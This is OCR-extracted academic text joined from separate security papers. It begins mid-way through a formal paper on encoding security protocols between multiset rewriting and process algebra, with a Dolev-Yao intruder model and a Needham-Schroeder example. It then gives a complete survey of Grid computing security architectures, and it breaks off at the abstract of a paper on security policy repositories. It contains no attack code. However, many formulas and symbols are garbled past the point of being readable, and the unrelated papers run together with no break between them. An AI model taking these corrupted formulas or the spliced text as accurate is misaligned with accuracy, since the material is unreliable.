the net as a public channel where each P, sends and receives messages); (b) there
is an intruder, with some initial knowledge able to intercept and forge messages
passing through the net (here Qyy, with initial knowledge @1, ); (c) each principal
starts a protocol interpreting a certain role p.

A security protocol, involving a collection of roles p, is expressed in PAp as
a security protocol process @, defined as the parallel composition of five com-
ponents: Pper || [T, Pp || Qi || Qix || Qr, where [P denotes the parallel
composition of all the processes in P. More precisely:

Pinet = !N;(z).N,(z).0. describes the behavior of the network. It simply copies
messages from channel N; (input of the net) to N, (output of the net),
implementing an asynchronous form of message transmission.

Py,. Each of these processes represents the sequence of actions that consti-
tute a role, in the sense defined for MSRp. These processes have the fol-
lowing forn{J: P, = 7(z).vn.P, where P; is a sequential process that
does input and output only on the network channels. Formally, P,; =
0| No(t).P) | Ny(t).P). An example specification is given in Appendix
Again, this definition does not allows protocols that need remembering en-
crypted messages until they are given the key. This form of specification,
which requires to enrich PA with a pattern matching construct, is analyzed
n [45].

Qu='Pr || ... || 'Pr,. Thisis the specification of the intruder model in a Dolev-
Yao style. Each P, describes one capability of the intruder. The dedicated

! Here we use #(x).P as a shortcut for m;(t1(21))... 7 (tk(xx)).P, and vn.P for
vni....vny. P.
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channel I holds the information the intruder operates on (it can be either
initial, intercepted, or forged). They are defined as follows:

Pr, = n(z).1(z).0 Pr, =vn.(n).0

Pr, = No(2)-(2).0 Pry = 1(2).¥,(2).0

Py, —1(@17«702)){(391) ) () T (e
P// (<ml’x2>) 1(172) B PIG I( 1)'1( 2)'I(< 1, 2>)'0
Pry = I({y})-1(k) Kp((k, k). T(4).0 | Pry = I(x).I(k) I({x}x).0
Pry = I(2).0 Phr I(w).I(x).1().0

Notice that, in our simple calculus, the decomposition of pairs shall be
treated as two projection rules (P7, and Py). See [4] for a detailed dis-
cussion.

= = [1'7(¢).0 represents what we called “persistent information” in the case
of MSRp. We can assume the same predicate (here channel) names with
the same meaning. This information is made available to client processes on
each channel 7 (e.g., Kp). It is assumed that no other process performs an
output on .
=T11(t).0 for some terms t. @, represents the initial knowledge of the
intruder.

In PAp, a state is a process of the form Qi || Quet || [I, P || @1 where
Qr = (Punet || TL'P | @ || @) while Qner, P, and @ are ground, un-
replicated (i.e., without a bang as a prefix) instances of sequential suffixes of
processes Pinet (more precisely N, (t).0), [], Py, and By (more precisely I(t).0
or 1(t).1(t).0).

4 Encodings for Protocol Specifications

This section describes the encodings from MSRp to PAp and vice versa. As
above, we assume the same underlying signature X'p. In particular, the predi-
cate symbols and terms in MSRp find their counterpart in channel names and
messages in PA p, respectively.

The first mapping, from MSRp to PAp, is based on the observation that
role state predicates force MSR p rules to be applied sequentially within a role
(this is not true for general MSR theories [4]). Minor technicalities are involved in
dealing with the presence of multiple instances of a same role (they are addressed
through replicated processes). At its core, the inverse encoding, from PAp to
MSR p, maps sequential agents to a set of MSR p rules corresponding to roles: we
generate appropriate role state predicates in correspondence of the intermediate
stages of each sequential process. The bang operator is not directly involved in
this mapping as it finds its counterpart in the way rewriting rules are applied.
The transformation of the intruder, whose behavior is fixed a priori, is treated
off-line in both directions.

4.1 From MSRp to PAp

Given an MSRp configuration (7 : 3), with 7 = (U,(7,),7) and § = (A, N, I, 7),
we return a PAp state Q1 || Qnet || [T P4 [| Qr (with Qv = (Pine || 11, Py ||
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Qi || Qix)). In particular (a) Py is fixed a priori (see Section B2); (b) [], Py
and @7, result from the transformation of respectively U,(7,) and 71; (¢) Qix
results from the transformation of 7, and (d) []4 P4, @net, and Q result from
transformation of A, N and I, respectively.

Processes P, for each role p, are obtained via the transformation function
[-] ranging over the set of role rules U,(7,). We define it depending on the
structure of the role rule r,, € 7, involved. Formally for i = 0:

(79| = T(x).vm.[1,, ] ifr,, : w(x) = In.Ap (x), 7(x)

Informally role generation rules are mapped onto a process which first receives,
in sequence, permanent terms via the channels 7 in 7 and then generates all the
new names 1 used along the execution of the protocol.

For 0 <<, —1:

. {Nz’(t(w))-f%HJ i rp = Ap (@) = A, (), N(t(2))
Tpiva | = .

No (W@, y)[7pials 1700 = Api(@), N(U(,Y)) = Apiy (2, 9)
Finally we have, with a little abuse of notation, frplp+11 = 0. The final process

defining the role p behavior is the following: P, = (700 |

The intruder is handled by simply mapping 7; to @Qi;. More precisely, we
define the transformation function [_]; that relates the intruder rewriting rule
r7, with the sequential agents Py, defined in Section [3.2] (77, is mapped to the
pair P7_ and P7)). Being the intruder behavior fixed a priori, this transformation
is effectively performed off-line once and for all.

At this point the transformation is complete as soon as the state s = (fl, N, 1,
7) is treated. For each A, (t) € A, we define Py, ) = [rp;;1 |[®/t], where  are
the variables appearing as argument of A; in r,, .

The multiset N guides the definition of Q,,¢¢, that is Qe def HN(t)eN N(t).0.

Similarly, = HI ner 1(t).0. On the other hand, Q. “ [Lrtyes 17(2)-0.

Writing, Wlth a httle abuse of notation, [_] for the generic function that, given
a multiset rewriting MSRp configuration returns a PA p state, the encoding can
be summarized as:

[(Up(7o) 7o+ (AN L) = (Per || [T P | Qur 1| Q) I (@ue |l HPA I Q1)

P

4.2 From PAp to MSRP

Given a PAp state Q1 || Qnet || [T, Py [| Q1 with @ = (Pt || IT, Py | Qur |l
Q1r), we show how to construct a conﬁguratlon in MSR p. The basic translation

involves the transformation function | -] Z‘ie) for the P,’s (called as a subroutine
by the top level transformation |_|) which, given a sequential agent representing
a role p, returns the multiset of rules 7,. Here ¢ is an non-negative integer.
Formally:
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7i(x).vn.P, | {7(x) = In.A(n,x)} U LPM#

i (Li(@.n))
Ny (W) Pty = {Apioa(@), N(t,9) = Api(@,w)} U P o
LNZ(t)PHJ # = {Api—l(w) — Api(w)7 N(t)} U I_P;J
0] ?’?;w) -
Let P, be the role specification of which an object P, in [], P, is an instanti-
ated suffix and § = [x/t] the witnessing substitution. If P, starts with either a
persistent input 7(x) or the v operator, we set | P,| = -. Otherwise, let ¢ be the
index at which P, occurs in P, as for the above definition. Then | P,| = A,;(t).

The intruder process @iy is roughly handled by the inverse of the transforma-
tion [_];, which we call |_|; (see [4] for a more detailed and rigorous treatment).
Each object I(t).0 (resp., the I(t).I(t).0) in Q7 is rendered as the state element
I(t) (resp., pair of elements I(t),I(t)).

Pi,e; disappears. Instead, each occurrence of a process K(t).O in P,e is
mapped to a state element N (¢). Similarly, each process 7 (x) in P, is translated
into the state object 7(x).

It is easy to prove that [_] and |_] are inverse of each other:

#
(i+1;2)

Lemma 1.

1. For any MSRp configuration C, we have that |[C]| = C.
2. For any PAp state Q, we have that [|Q]] = Q modulo the extension of =
with the equation a(t).a(t).0 = a(t).0 || a(t).0.

A detailed proof of this result, including the treatment of details that have been
omitted here for space reasons, can be found in [4].

5 Correspondence

In this section, we will call an MSR p configuration and a PAp state correspond-
ing when they manifest the same network and intruder behavior, step by step.
This will allow us to prove that the translations presented in this paper are
reachability-preserving in a very strong sense. We invite the reader to consult [4]
for a more comprehensive and detailed discussion of this matter.

We first formalize the notion of transition step and observation in each for-
malism.

Definition 1. Given a process Q, the notation Q > indicates that « is the
multiset of communication events that the process Q may perform in a next step
of execution. Formally:

WewriteaGPifaG{a:Pa%l}.
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Let ¢ be a channel name (a) or the complement of a channel name (a), we
define the observations of process @ along ¢ as the multiset Obs.(Q) = {t :

c(t) € Q}.

Definition 2. Given a multiset of ground atoms § and a predicate name a, we
define the projection of 3 along a as the multiset Prj,(5) = {t : a(t) € 3}.
If C = (7, 8) is a configuration, we set Prj,(C) = Prj,(8).

Using Definitions [1l and [J, we make precise what we intend for an MSRp
configuration and a PAp state to be corresponding.

Definition 3. Given an MSRp configuration C and a PAp state Q). We say that
C and @ are corresponding, written as C < Q, if and only if the two conditions

hold:
L. Prjn(C) = Obs3(Q)
2. Prj;(C) = Obs7(Q)

Informally C' < @Q means that the messages that are lying on the net and the
intruder knowledge are the same in configuration C' and state Q.

On the basis of these concepts, we can now define a correspondence between
MSRp configurations and PAp states such that, if in MSRp is possible to per-
form an action (by applying a rule) that will lead to a new configuration, then
in PAp is possible to follow some transitions that will lead in a corresponding
state, and vice versa.

Definition 4. Let C and Q be the set of all MSRp configurations and PAp
states, respectively. A binary relation ~ C C x Q is a correspondence if (7 : §) ~
Q implies that:

1. (7:3)xQ;
2. ifr:5— 3, thenQ="*Q and (7 :3) ~ Q’;
3. fQ=0Q , then7:5— 5§ and (7:5)~ Q.

The following theorems, whose proof can be found in [4], affirm that security
protocol specifications written in MSRp and PAp, and related via the encod-
ings here presented, are corresponding. The treatment of the intruder requires
some care, that, for space reasons, we have partially hidden from the reader by
presenting a slightly simplified translation of @; into 7;. Again, all details can
be found in [4].

Theorem 1. Given an MSRp security protocol theory C. Then C ~ [C].

Theorem 2. Given an PAp security protocol process Q. Then |Q| ~ Q.

This means that any step in MSRp can be faithfully simulated by zero or more
steps in PAp through the mediation of the encoding [_], and vice-versa, the
reverse translation |_| will map steps in PA p into corresponding steps in MSR p.
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6 Conclusions

This paper shows how multiset rewriting theories (MSRp) and process alge-
bras (PAp) used to describe the large class of immediate decryption protocols
may be related. Indeed we show how to define transformations between MSR p
to PAp specifications of such a security protocol, whose semantics (based on
labeled transition systems) are proved to be related. The paper introduces a
correspondence relation based on what messages appear on the network and on
what messages the intruder knows. A direct consequence of this results is that
any confidentiality property established in one framework can automatically be
ported to the other. Moreover, since several forms of authentication among pro-
tocol participants may be formulated in terms of properties of what is sent to
the net or what is captured by the intruder, authentication results can also also
immediately transfered through our encodings.
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A The Needham-Schroeder Public-Key Protocol

To help understand the detail of the specification and of the mappings, we will
analyze an example, consisting of the following classical protocol:

A—)B:{A,NA}KB
B —)A:{B,NA,NB}KA
A—)B:{NB}KB

A.1 NSPK in MSRp

The MSRp specification of this protocol will consist of the rule-set Ryspx =
(Ra,RB). R4 and Rp implement the roles of the initiator (A) and the responder
(B) respectively. They are given as follows:

ﬁ'(A) — HNAfl'(A), Ao(A, NA)

R Ap(A, Ny) — N({A,Na}tky), A1(A, Ny)
Al(A7NA)a N({BvNA’NB}KA)g) AQ(AaNAaNB)
AQ(A7NA,NB) —)N({NB}KB), Ag(A,NA,NB)

#(B) — INp.#(B), Bo(B, Ng)

R, ] Bo(B.N6).  N({ANabk,) = B1(B,Ng,N,)
Bl(B,NBNA) —>N({B,NA,NB}KA)7BQ(B,NB,NA)
BQ(B,NB7NA)7N({NB}KB) — Bg(B,NB,NA)

where: A=(AB,Ka,K',Kp)
B = (B7A5KBaK/B7KA>

7(X,Y,Kx, K%, Ky) = Pr(X),PrK(X, K% ),PoK(Y, Ky),Kp(Kx, K%)
In addition, we assume the state portion of a configuration consists of:

w(a,b, ka, ki ko), 7 (b, €, by, by, Ke), (e, a, ke, ko ka), I(e), I (ke), I (k)

™ I N A

where a, b, e, k_ and k" are constants (e stands for the intruder).

A.2 NSPK in PAp

NSPK = Rnet H QII || P!A H P!B ” Q!Tr H QIO

Pie: and Qi have already been defined. The other processes are as follows:
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— Pa=17(A).vNA.N;{A, Natrp) -No({B,Na, Ng} i, )-N;({NB} k)0 .

— P =!17(B)vNg.No({A,Na}g).Ni({B,Na, N}k ,)-No({Np}K5)-0
where, as for MSRp, A = (A, B, K4, K/, Kg)and B=(B, A, Kp,Kp, K4),
and 7(X,Y, Kx, K%, Ky) inputs each of the object in 7(X,Y, Kx, K%, Ky)
(see [AT]). More precisely, it is defined as

Pr(X).PrK(X, K% ).PoK(Y, Ky ).Kp(K x, K%) .
= Qur = Qa(ab ko, k) | @ik by ko) | @i (erarke bt ko)
where Qx(x v,k x, K’ Ky) is the parallel composition of simple replicated pro-
cesses that output each object in 7#(X,Y, Kx, K%, Ky) on channel 7:

IPr(X).0 || IPrR(X, K’ ).0 || IPBR(Y, Ky).0 || Kp(Kx, K’%).0..

— Qr, = 1(e).0 || I(ke).0 || I(K.).0.
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Abstract. A Computational GRID is a collection of heterogeneous computing
resources spread across multiple administrative domains, serving the task of
providing users with an easy access to these resources. Taking into account the
advances in the area of high-speed networking, but also the increased computa-
tional power of current micro-processors, Computational GRIDs or meta-
systems have gradually become more popular. However, together with the ad-
vantages that they exhibit they are also contributing to several problems associ-
ated with the design and implementation of a secure environment. The conven-
tional approach to security, that of enforcing a single, system-wide policy,
cannot be applied to large-scale distributed systems. This paper analyzes the se-
curity requirements of GRID Computing and reviews a number of security ar-
chitectures that have been proposed. Furthermore, these architectures are evalu-
ated in terms of addressing the major GRID security requirements that have
been identified.

1 Introduction

Distributed Computing is all about harnessing unused computing resources, from
across a computer network, so as to address workload challenges posed by demanding
computer applications. During the last decade, Distributed Computing has matured
from the notion of simple workload balancing to a ubiquitous solution that has been
embraced by some of the world’s leading organizations across multiple industry sec-
tors.

While Distributed Computing harnessed the full potential of existing computer re-
sources by effectively matching the supply of processing cycles with the demand
created by applications, even more importantly it has paved the way for GRID Com-
puting. As I. Foster, C.Kesselman and S. Tuecke state: “GRID Computing has
emerged as an important new field, distinguished from conventional Distributed
Computing by its focus on large-scale resource sharing, innovative application, and in
some cases, high performance orientation” [1].

Although GRID Computing has, since mid 90’s, gained the commercial, as well as
the scientific, interest, its exact definition is not yet clear. According to I. Foster and
C. Kesselman: “A Computational GRID is a hardware and software infrastructure that
provides dependable, consistent, pervasive and inexpensive access to high-end com-
putational capabilities” [2]. GRID Computing is concerned with coordinated resource

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 100-111, 2003.
© Springer-Verlag Berlin Heidelberg 2003
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sharing and problem solving in dynamic, multi-institutional virtual organizations.
That sharing is not primarily file exchange but rather direct access to computers,
software, data and other resources [1].

GRID Computing is primarily a user beneficial notion, some of the benefits being
the following:

— Organizations, as well as end users, are enabled to aggregate resources with an
entire IT infrastructure no matter where in the world they are located.

— Organizations can dramatically improve the quality and speed of the products they
deliver, while reducing IT costs.

— Companies are enabled to access and share remote databases and data repositories.
This is especially beneficial to the life sciences and engineering research communi-
ties.

— Widely dispersed organizations can easily collaborate on projects through their
ability to share everything.

— A more robust and resilient IT infrastructure can be created. Such an infrastructure
can respond better to minor or major disasters.

— Idle processing cycles in several desktop PCs distributed in various locations
across multiple time zones can be harnessed.

Although, the establishment, management and exploitation of dynamic, cross-
organizational GRID Systems require full interoperability and scalability, the security
concern is also of great importance. The reason is that distributed applications are by
definition more vulnerable than conventional ones since there are substantially more
targets to attack in order to impact a single application [3].

Securing a Computational GRID that may be accessed by hundreds, or even, thou-
sands of users, is critical. In this paper we present a review and an evaluation of the
security architectures and mechanisms, which have been proposed for that purpose. In
section 2 we emphasize on the security challenges as well as the security requirements
in GRID Computing, in section 3 we present a review of existing security architec-
tures and mechanisms and we evaluate them in terms of the above-mentioned re-
quirements. Finally, in section 4 we conclude the paper.

2 Security Challenges and Requirements in GRID Computing

The overall motivation for GRID Computing is to enable access to, and sharing of,
resources and services across wide area networks. This motivation incorporates
known security challenges and requirements but also introduces new, thus necessitat-
ing the development of security architectures for the GRID.

2.1 Security Challenges

The security challenges in GRID environments can be categorized as follows [4]:

1. Integration. In order to build secure GRID Systems, the mechanisms being em-
ployed must be flexible and dynamic so as to facilitate the integration of security
architectures and models implemented across platforms and hosting environments.
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. Interoperability. GRID services that traverse multiple domains and hosting envi-

ronments need to be able to interact with each other, thus introducing the need for
interoperability at protocol, policy and identity level.

. Trust relationships. In order to solve the trust relationship problem in a GRID

environment, it is necessary to support mechanisms for defining, managing and en-
forcing trust policies among the participants in a GRID System.

2.2 Security Requirements

The security challenges presented in the previous subsection lead to specific security
requirements. These requirements may differ amongst GRID Systems, depending on
the defined security policies and the type of applications and services used. The most
important security requirements are [2], [4]:

3

Confidentiality. Ensure non-disclosure of messages traveling over the network, to
unauthorized entities.

Integrity. Ensure that recipient entities may detect unauthorized changes made to
messages.

Privacy. Allow both a service or resource requestor and provider to define and
enforce privacy policies.

Identification. Associate each entity with a unique identifier.

Authentication. Verify the identity of a participant entity to an operation or request.
Single logon. Relieve an entity that has successfully completed the authentication
process once, from the need to participate in re-authentication upon subsequent ac-
cesses to other participant systems in the GRID.

Authorization. Allow for controlling access to resources or services based on au-
thorization policies attached to each entity (e.g. resource or service).

Delegation. Allow transfer of privileges (e.g. access rights) between entities.
Assurance. Provide means to qualify the security level that can be expected from a
hosting environment.

Autonomy. Allow entities to have full control over their local security policies
without compromising the overall GRID System’s security.

Policy exchange. Allow entities to dynamically exchange security policy informa-
tion (e.g. authentication requirements).

Firewall traversal. Provide mechanisms for traversing firewalls between adminis-
trative boundaries.

Secure logging. Provide all services, including security services themselves, with
facilities for time stamping and secure logging.

Manageability. Provide the appropriate tools for managing security mechanisms
and policies.

GRID Security Architectures

Security is critical for the widespread deployment and acceptance of Computational
GRIDs. Although several security architectures for the GRID environment have been
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proposed, none of them fulfills in a satisfactory way the entire list of security re-
quirements.

This section provides an overview of existing security architectures, evaluating
each of them in terms of the security issues raised in section 2. More specifically, the
security mechanisms that each architecture implements are associated with the secu-
rity requirements that they fulfill, commenting on their effectiveness, maturity and
trust.

3.1 The Security Architecture for Open GRID Services

3.1.1 The Open GRID Services Architecture (OGSA)

The Open GRID Services Architecture (OGSA) is the result of research work aiming
to produce a GRID system architecture that integrates GRID and Web services, con-
cepts and technologies. An initial set of technical specifications has been proposed by
the Globus Project and IBM, and has been recently put forward at the Global GRID
Forum for discussion and refinement. At the same time, a strategy for addressing
security issues within the OGSA is being developed aiming to comprise the security
architecture for OGSA.

3.1.2  Proposed Security Architecture

The efforts described above led to an important conclusion regarding the proposed
security architecture for OGSA: Abstraction of security components in a single secu-
rity model is the only way to give organizations the necessary breathing space so as to
be able to utilize existing investments in security technologies while communicating
with others in a GRID environment.

Therefore, the basic principles that should underlie the GRID security model are [4]:

— developing a security model to secure GRID services in general, and
— developing security specific services built to provide the necessary functionality.

To fulfil the above basic principles, the GRID security model should take into account
several aspects of GRID services invocation. This is possible through the various
components of the GRID Security Model (Fig. 1).

3.2 GRID Security Infrastructure (GSI)

3.2.1  The Globus Toolkit

The Globus Toolkit was developed under the Globus Project, a research effort that
introduces fundamental technologies required for building GRIDs. This toolkit com-
prises a set of components that implement basic services for security, resource alloca-
tion, resource management etc. GRID Security Infrastructure or GSI is the name
given to Globus security services.

3.2.2  Proposed Security Architecture

I. Foster et al. proposed in 1998 a security architecture for Computational GRIDs [5].
This work constitutes the base of many GRID security architectures that were pro-
posed later on, one of them being the GSI. Next we present the basic features of the
GSI [8] [9].
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Fig. 1. Components of the GRID Security Model [4]

Certificates constitute a central concept in GSI authentication as every entity on the
GRID (e.g. user, process, resource) is identified by an X.509 certificate. Each certifi-
cate includes a key pair and must be signed by a Certification Authority (CA) in order
to verify and validate the binding between the entity and the key pair.

GSI uses the Transport Layer Security (TLS) protocol for mutual authentication,
although the use of Secure Socket Layer (SSL) is also possible. In both cases GSI
must convert the global identity of involved parties in order to be recognizable to each
local naming structure that a remote site may use, like login name or Kerberos. By
default GSI does not establish encrypted communication, although the provision of
that feature is very simple if confidentiality is required.

An entity may delegate a subset of its rights to another entity by creating a tempo-
rary identity called a proxy. The proxy holds a temporary certificate signed by the
user or a previous proxy in order to achieve authentication to remote sites. This situa-
tion creates a chain of signatures terminating with the CA, which issued the initial
certificate. The duration of the proxy’s life is limited in order to control the use of
resources.

GSI architecture enables the “single sign-on” procedure for each user on the GRID
and allows entities to access remote resources on behalf of the user. Additionally, this
architecture does not require changing the local security infrastructure and policy in
each site that the GRID spans.

3.3 The Legion Security Architecture

3.3.1 The Legion System

The Legion project, developed at the University of Virginia, is an attempt to provide
GRID services that create the illusion of a virtual machine. This virtual machine ad-
dresses key GRID issues such as scalability, programming ease, fault tolerance, secu-
rity and site autonomy. The realization of the virtual machine illusion is achieved
through the implementation of a middleware level right above the current local oper-
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ating system. Legion is an object-oriented meta-system and, thus, is based on the
principles of the object-oriented paradigm like inheritance, encapsulation and poly-
morphism [2] [6].

3.3.2 Proposed Security Architecture
The basic unit in a Legion system is the object. Each entity in the system, for example
processes, users, resources etc. is represented by an object. In order to provide secu-
rity in such a system one has, primarily, to protect these objects as well as the com-
munication among them.

The Legion Security Architecture is based on the following principles [6, 7]:

— The installation of Legion at a site should not compromise that site’s security poli-
cies and goals.

— Legion must be configurable to the security needs of different organizations.

— Objects must have flexible access control mechanisms for authorizing and denying
method calls.

— Legion should protect identities, as well as, minimize the dispersion of authority
that delegation causes.

— The protection of integrity and privacy of underlying communications between
objects must be guaranteed.

In general, the primary goal for the Legion security architecture is to enable partici-
pants in a GRID system to expose their resources in a manner compliant with their
local policies. Next, we present the basic security mechanisms and policies that are
used by the Legion Security Architecture towards this goal [7].

3.3.2.1 Identity

Identity is important to higher-level security services, such as access control, and is
based on a unique, location-independent, Legion Object Identifier (LOID). By default
the Legion Security Architecture stores an RSA key pair in one of the LOID’s fields.
This pair protects confidentiality and integrity of object communications through
encryption and digital signatures respectively. In fact, a LOID includes an empty,
unsigned X.509 certificate, which contains the key pair mentioned above. The X.509
certificate structure is used for two reasons: firstly, to enable the encoding of the key
pair in a standard way and, secondly, to provide the infrastructure for the incorpora-
tion of Certification Authorities on demand of the local system. By integrating keys
into LOIDs, Certification Authorities are rendered unnecessary although such an
authority is still useful for establishing user identities, as well as, eliminating some
kinds of public keys tampering.

3.3.2.2 Credentials

In a distributed object system the user may access resources indirectly thus requiring
corresponding objects to be able to perform actions on his behalf. Though intermedi-
ate objects could, in principle, be given the user’s private key, the risk involved is
high. In order to eliminate that risk, Legion provides issuing of credentials to objects.
A credential is a list of rights granted by the user to a specific object for a specific
period of time. The latest poses a major concern as it actually defines the period dur-
ing which a credential is vulnerable to theft or abuse. The shorter the period the less
ease of use but the more secure way and vice versa.
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3.3.2.3 Authentication

Authentication in the Legion system is realized through the use of credentials. When a
requestor object wants to communicate with a target object then it casts an authentica-
tion credential, which is nothing more than the LOID of the target object signed by
the requestor object.

3.3.2.4 Access Control

In a Legion system, access is the ability to call a method on an object. Access control
is decentralized and each object is responsible for enforcing its own access control
policy. In general all method calls to an object must first pass through the access con-
trol procedure (called “the MaylI layer”) before the target method (member function)
is invoked. Only if the caller has the appropriate rights for the target method will the
access control allow the method invocation to proceed.

3.3.2.5 Communications

A method call from one object to another can consist of multiple messages. These
messages use one of a number of underlying transport layers (UDP/IP, TCP/IP) or
platform-specific message passing services and must be transmitted without their
unauthorized disclosure or modification occurring. A message may be sent three
ways: in the clear mode, in protected mode or in private mode. In clear mode no en-
cryption or other security mechanism is applied to the message. In protected mode a
message digest is generated in order to protect its integrity. Finally, in private mode
the message is encrypted.

3.3.2.6 Object Management

As stated in section 3.3.1 the Legion system is implemented as a middleware over
existing operating systems that have their own security mechanisms and policies.
Therefore, it is crucial for the Legion system to be implemented in such a way that
ensures its security policies and the OS’s security policies do not compromise each
other.

3.4 The Globe Security Architecture

34.1 Globe

Globe stands for Global Object Based Environment. As its name reveals it is a wide-
area distributed system, which was developed in order to constitute a middleware
level between the operating system and the application level, exactly as Legion does.
The main characteristics of the Globe system are [10]:

— It is a uniform model for the support of distributed systems.
— It supports a flexible implementation framework.
— It is highly scalable.

Globe is based on Distributed Shared Objects (DSOs). A DSO is formed by the repli-
cation of a local object, which resides in a single address space to other address
spaces, and is identified by a unique Object ID (OID). Each local object consists of
five sub-objects: Semantics, Control, Replication, Communication and Security sub-
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object. Each copy of the local object stores all or part of the DSO’s state (in the Se-
mantics sub-object) and is called a replica object. Sometimes a replica object does not
store the DSO’s state at all but simply forwards the user requests to replicas that can
execute them in which case it is called a user proxy.

Each user or programmer in a local system interacts with the DSO in the same way
as if the original local object was stored in the local system. Separate sub objects of
local objects control replication of local objects and communication between them,
while the semantics sub object implements the main functionality of the local objects.
The DSO notion is important as it gives the Globe objects the ability to be shared
amongst different systems that form a wide area network in excess of their normal
ability to be shared amongst the users of the same system [10].

3.4.2 Proposed Security Architecture

During the initial development phase of the Globe Security Architecture, security
issues concerning wide-area distributed systems were categorized in three major
groups [11]:

— Secure binding. Verification of the local and replica objects being part of a certain
DSO and association of the DSO to real world entities.

— Platform security. Protection of hosts from malicious mobile code and protection of
mobile code from malicious hosts.

— Secure method invocation. User authentication and access control, communications
protection and reverse access control (verification of replica objects trustworthi-
ness).

The Globe Security Architecture is based on public key cryptography and digital
certificates in order to address the above issues. In detail, DSOs, replicas and users are
assigned public/private key pairs in order to be identified and are granted permissions
through the use of the above-mentioned certificates. Next, we present the means
through which Globe security architecture addresses the above mentioned issues [11].

3.4.2.1 Secure Binding

As mentioned above, secure binding is concerned with securely associating a DSO to
its public key, a replica to corresponding DSO and a DSO to corresponding real world
entity. Secure association of a DSO to its public key is achieved through public key
integration with the OID. The second issue is addressed by looking at the OID, at the
replica certificate and its administrative certificate chain. Finally, the individual cli-
ents are responsible to establish a secure name binding for the DSOs they are using
although external trust authorities could mediate this.

3.4.2.2 Platform Security

Platform security is concerned with the protection of hosts from malicious mobile
code and the protection of mobile code from malicious hosts. The former issue is
addressed with the use of the java “sand boxing” technique in combination with code
signing while the later is addressed with the use of the reverse access control mecha-
nism or state signing.
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3.4.2.3 Secure Method Invocation

Firstly, let’s clarify the concept of secure method invocation. A method invocation M
issued by a user U and to be executed on a replica object R is said to be secure if the
following conditions are met [11]:

— U s allowed to invoke M under the DSO’s security policy,

— R is allowed to execute M under the DSO’s security policy, and

— all the network communication between U and R takes place through a channel that
preserves data integrity origin and destination authenticity and, possibly, also con-
fidentiality.

Users can invoke methods on a DSO by simply calling those methods on their corre-
sponding proxies. Then the replication, communication and security sub objects of
their proxies work together to transform the users’ requests into remote method invo-
cations, send them to appropriate replicas allowed to handle them, wait for the re-
turned values and present these values to the users.

3.5 CRISIS

CRISIS is the security component for WebOS, a system that extends OS services such
as security, remote process execution, resource management, and named persistent
storage to support wide area distributed application.

351 WebOS

WebOS is a system developed at the University of Berkeley in order to extend con-
ventional OS functionality in such a way as to simplify the use of geographically
dispersed resources. The main features of WebOS are [12]:

— Resource discovery. Includes mapping a service name to multiple servers, balanc-
ing load among available servers, and maintaining enough state to perform fail over
if a server becomes unavailable.

— Wide area file system. Extension of existing distributed file systems to wide area
applications running in a secure HTTP name space.

— Security and authentication. Define a trust model providing both security guaran-
tees and an interface for authenticating the identity of principals.

— Process control. Authenticate the identity of the requester and determine if the
proper access rights are held while, at the same time, ensure that the process does
not violate local system integrity and it does not consume more resources than the
local system administrator permits.

3.5.2 Proposed Security Architecture

CRISIS assumes the presence of three basic entities, namely, principals, sources for

requests such as machines or users, objects, representing global recourses, and refer-

ence monitors, processes that determine whether or not to grand a given request. [13]
All statements in CRISIS, including statements of identity, statements of privilege,

and transfer of privilege are encoded in X.509 certificates. These certificates are
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signed by the principal making the statement and then counter-signed by a principal
of the signer’s choosing. CRISIS employs two basic types of certificates: identity
certificates (authentication and authorization) and transfer certificates (delegation).

CRISIS consists of a series of remote nodes (local systems). A security manager
and resource providers run in each node. There are three kinds of resource providers
each with its own set of reference monitors: process managers, that are responsible
for executing jobs on requested nodes, WebFS Servers, that implement a cache coher-
ent global file system, and certification authorities, that take requests for creating
identity certificates.

In CRISIS all programs execute in the context of a security domain. A security
domain is formed by the association of a login shell in a remote node with a set of
certificates transmitted by the principal’s home node/domain. Security managers are
responsible for mediating access to all local resources and for mapping the above-
mentioned credentials to security domains. In addition each principal in CRISIS can
create roles that are principals granted a subset of his privileges (delegation).

3.6 GRID Security Architectures’ Evaluation

In the current subsection we present a comparative evaluation of the Security Archi-
tectures presented above, in terms of addressing the security requirements posed in
section 2 (Table 1). It should be noted that the aforementioned evaluation is of an
empirical nature and does not involve certain metrics.

Table 1. GRID Security Architectures’ Evaluation

Security Legio‘n Glob?
Requirement GSI Sec.urtty Sec‘urtty CRISIS
Architecture Architecture

Confidentiality High High Medium High
Integrity High High Medium High
Privacy High Medium Medium Medium
Identification High High High High
Authentication High High High High
Single logon High Low Low Low
Authorization Medium High High High
Delegation Medium Medium Medium High
Assurance Low Low High Medium
Autonomy High High High Medium
Policy exchange Low Low Low Low
Firewall traversal Low Low Low Low
Secure logging Low Low Low Low
Manageability Low Low Medium Medium

One would note that only four of the five Security Architectures described are evalu-
ated in the above Table. This is due to the fact that Open GRID Services Architecture
and, thus, the corresponding Security Architecture, are currently in the phase of speci-
fications. For this reason, an evaluation effort would be unwise. Such an evaluation
will be possible only for specific implementations of the OGSA.
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4 Conclusions

During the last decade the notion of GRID Computing has emerged from that of Dis-
tributed Computing. GRID architectures form the next logical step in computing in-
frastructure following a path from standalone systems to tightly linked clusters, enter-
prise-wide clusters and geographically dispersed computing environments. Although
such architectures can be characterized as state-of-the-art technology, they are, at the
same time, a major contributor to some of the problems associated with the design
and implementation of a secure environment, especially when combined with the
continuously increasing user mobility. By allowing users to access services from
virtually anywhere, the universe of ineligible people who may attempt to harm the
system is dramatically expanded.

Several security architectures have been described in the literature, some of them
being evaluated in section 3 of this paper. The aim was to investigate to what extend
the GRID security requirements (presented in section 2) were fulfilled by these archi-
tectures. The evaluation results were presented in Table 1.

It has been revealed that none of the proposed security architectures fulfill, in an
acceptable way, the entire list if GRID security requirements. However, this is not
unexpected since the area of ‘GRID Security’ is still in very early stages. Neverthe-
less, several security requirements are fulfilled through various security mechanisms.
For instance, strong encryption mechanisms have been employed for ensuring the
confidentiality, integrity and availability of information (GSI), intelligent techniques
have been developed for identifying and authorizing entities (e.g. Legion, Globe),
while some of the proposed architectures deal more successfully with elaborate secu-
rity issues such as firewall traversal (e.g. OGSA security architecture).
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Abstract. Most organizations currently build customized security policies by
extending the principles and guidelines suggested by generic security policies.
This method cannot guarantee that the resulting policies are compatible, neither
it can ensure that the resulting protection levels are equivalent. We introduce a
Security Policies Repository (SPR), which consists of a knowledge base, stor-
ing multiple security policies in a structured way. The SPR facilitates the juxta-
position of security policies, in order to detect, analyze, and resolve conflicts,
and to compare and negotiate the protection level of each of the co-operating in-
formation systems. Reconciliation of security policies is achieved by means of
developing mutually accepted meta-policies.

1 Introduction
